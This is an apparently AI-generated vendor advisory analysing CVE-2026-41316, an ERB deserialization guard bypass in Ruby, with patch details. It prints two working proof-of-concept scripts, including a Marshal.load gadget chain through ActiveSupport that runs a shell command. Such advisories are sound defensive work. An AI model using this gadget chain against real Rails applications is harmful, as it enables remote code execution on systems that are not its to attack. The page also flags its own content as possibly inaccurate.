Automated Threat Modeling

Ruby ERB CVE-2026-41316: Deserialization Guard Bypass Enables Remote Code Execution via def_module — Technical Breakdown with PoC and Patch Analysis

CVE-2026-41316 is a high severity deserialization guard bypass in Ruby's ERB templating library. It allows remote code execution through Marshal.load when activesupport is also loaded. This breakdown covers the proof of concept and the patch.

CVE Analysis

10 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-04-23

Ruby ERB CVE-2026-41316: Deserialization Guard Bypass Enables Remote Code Execution via def_module — Technical Breakdown with PoC and Patch Analysis
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A six-year-old deserialization guard in Ruby's ERB templating library turns out to have been incomplete the whole time, leaving three public methods as unprotected code execution sinks. CVE-2026-41316 (CVSS 8.1) lets an attacker bypass the @_init protection mechanism and run code through Marshal.load in any Ruby application that has both erb and activesupport loaded. That describes nearly every Rails deployment in production today.

TristanInSec reported the vulnerability, and the Ruby core team patched it on April 21, 2026. Exploitation needs an existing unsafe Marshal.load call as an entry point, but a complete proof of concept is public and Rails is everywhere, so this is a priority patch for any Ruby shop.

Technical Information

The Original Guard and Its Gap

When Ruby 2.7.0 shipped, the ERB library introduced an @_init instance variable as a deserialization guard. During normal construction via ERB#initialize, the sentinel value self.class.singleton_class is stored in @_init. Before evaluating a template, ERB#result and ERB#run compare @_init against this expected sentinel using .equal? (identity comparison). Marshal cannot serialize a singleton class, so any ERB object reconstructed through Marshal.load will have an @_init value that fails this check, which blocks code execution.

The gap: three other public methods also reach eval(@src) but were never given this guard. They are ERB#def_method, ERB#def_module, and ERB#def_class. All three ultimately call eval() on the @src instance variable without verifying @_init.

Of these, def_module is the most dangerous because it accepts zero arguments (all its parameters have default values). Deserialization gadget chains typically need zero-argument methods to work, which makes def_module a perfect exploitation target.

The Method Wrapper Breakout

The def_method function wraps the @src variable inside a method definition before passing it to module_eval. Normally, code inside a method body only runs when the method is called. But an attacker can craft @src to begin with an end statement, which closes the method definition early. Any code placed after this first end runs immediately during the module_eval phase.

# Attacker sets @src = "end\nsystem('id')\ndef x" # After def_method transformation, module_eval receives: # # def erb # end # system('id') <- executes at eval time # def x # end

This breakout technique turns a method definition wrapper that looks safe into an arbitrary code execution primitive.

The Full Gadget Chain

To achieve RCE via Marshal.load, the attacker combines the ERB bypass with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget. The chain works as follows:

  1. Marshal.load reconstructs a Hash that uses the DeprecatedInstanceVariableProxy as a key.
  2. Hash key insertion calls .hash on the proxy object.
  3. Because .hash is not defined on the proxy, method_missing(:hash) fires and dispatches the call to the wrapped ERB object's def_module method.
  4. def_module delegates to def_method, which calls module_eval(eval(src)).
  5. The method body breakout triggers, and the injected system('id') command runs immediately.

Prerequisites for Exploitation

The vulnerability is not independently exploitable. Three conditions must be met at once:

RequirementDescription
Untrusted Data to Marshal.loadThe application must pass attacker-controlled data to Marshal.load, which acts as the entry point for the payload.
ActiveSupport LoadedThe activesupport library must be present in the runtime to provide the proxy gadget for the chain.
ERB LoadedThe erb library must be present in the runtime to provide the vulnerable def_module sink.

Typical vulnerable scenarios include Rails applications importing untrusted serialized data, legacy Rails applications using Marshal for cookie session serialization, and systems with unprotected import endpoints for Marshal dumps.

Proof of Concept

A public proof of concept is available directly within the GitHub Security Advisory GHSA-q339-8rmv-2mhv, published on April 21, 2026 by k0kubun. TristanInSec reported the vulnerability originally.

PoC 1: Minimal (ERB Only)

This variant shows that ERB#result correctly blocks execution on a non-initialized ERB object, while ERB#def_module does not:

require 'erb' erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) # ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @_init -- correct)" end # ERB#def_module does NOT block this -- executes system('id'): erb.def_module # Output: uid=0(root) gid=0(root) groups=0(root)

The attacker sets @src to "end\nsystem('id')\ndef x". When def_method wraps this in a method body, the injected end closes the method definition early, and system('id') runs immediately at module_eval time.

PoC 2: Marshal Deserialization RCE (ERB + ActiveSupport)

This variant achieves full Remote Code Execution through Marshal.load by using ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget to invoke ERB#def_module:

require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb' # --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil) proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel }) marshaled = Marshal.dump({proxy => 0}) # --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class) # This triggers RCE: Marshal.load(marshaled) # Output: uid=0(root) gid=0(root) groups=0(root)

This was verified on Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1. Any Ruby application that calls Marshal.load on untrusted data while having both erb and activesupport loaded is vulnerable.

Patch Information

The official fix was published on April 21, 2026, in commit 9d017be by Takashi Kokubun (k0kubun), co-authored with Tristan Madani (the original reporter). The fix is available in ERB gem versions 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4. Upgrading Ruby itself to version 4.0.3 will also pull in ERB 6.0.1.1 with the fix included.

The patch is simple. It adds the same @_init guard directly to ERB#def_method. Because both def_module and def_class internally delegate to def_method, this one three-line insertion covers all three bypass paths at once:

def def_method(mod, methodname, fname='(ERB)') + unless @_init.equal?(self.class.singleton_class) + raise ArgumentError, "not initialized" + end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1)

The patched def_method now checks whether @_init points to self.class.singleton_class before proceeding, which mirrors the guard already present in ERB#result. If the check fails, as it always will for Marshal-loaded ERB instances since singleton classes cannot survive serialization, an ArgumentError with the message "not initialized" is raised, halting execution before eval is ever reached.

The commit also includes 27 lines of new test coverage in test/erb/test_erb.rb, adding three dedicated test methods: test_prohibited_marshal_load_def_method, test_prohibited_marshal_load_def_module, and test_prohibited_marshal_load_def_class. Each test allocates an ERB object, sets @_init to a non-sentinel value (true), serializes and deserializes it via Marshal.dump/Marshal.load, and then asserts that the corresponding method raises ArgumentError.

To apply the fix, run bundle update erb in your application directory.

Affected Systems and Versions

The vulnerability affects ERB versions up to and including 6.0.3. Specifically:

Affected Version RangePatched Version
ERB < 4.0.3.14.0.3.1
ERB 4.0.4.x before 4.0.4.14.0.4.1
ERB 6.0.x before 6.0.1.1 (6.0.1 series)6.0.1.1
ERB 6.0.2 through 6.0.36.0.4

Ruby 4.0.3 ships with ERB 6.0.1.1, which includes the fix.

The vulnerability is exploitable in any Ruby application that meets all three conditions: it calls Marshal.load on untrusted data, has the erb library loaded, and has the activesupport library loaded. This combination describes nearly all Ruby on Rails applications, since ERB is the default template engine for Rails.

Vendor Security History

CVE-2026-41316 is the sixth generation of functional Marshal gadget chains discovered in the Ruby ecosystem between 2018 and 2026. Previous chains exploited components like Gem::Requirement and Gem::Specification._load. The Ruby team has consistently patched these individual gadgets as they are reported, but the underlying issue persists: Marshal.load can deserialize almost any Ruby object and instantiate arbitrary classes. The Ruby security documentation has long warned developers against using Marshal.load on untrusted data, and the recommended long-term approach is still to avoid Marshal.load entirely for untrusted input, favoring safer formats such as JSON.

The vendor's response to this CVE was prompt. The advisory and patched versions of both the gem and the core Ruby language were released together on April 21, 2026.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization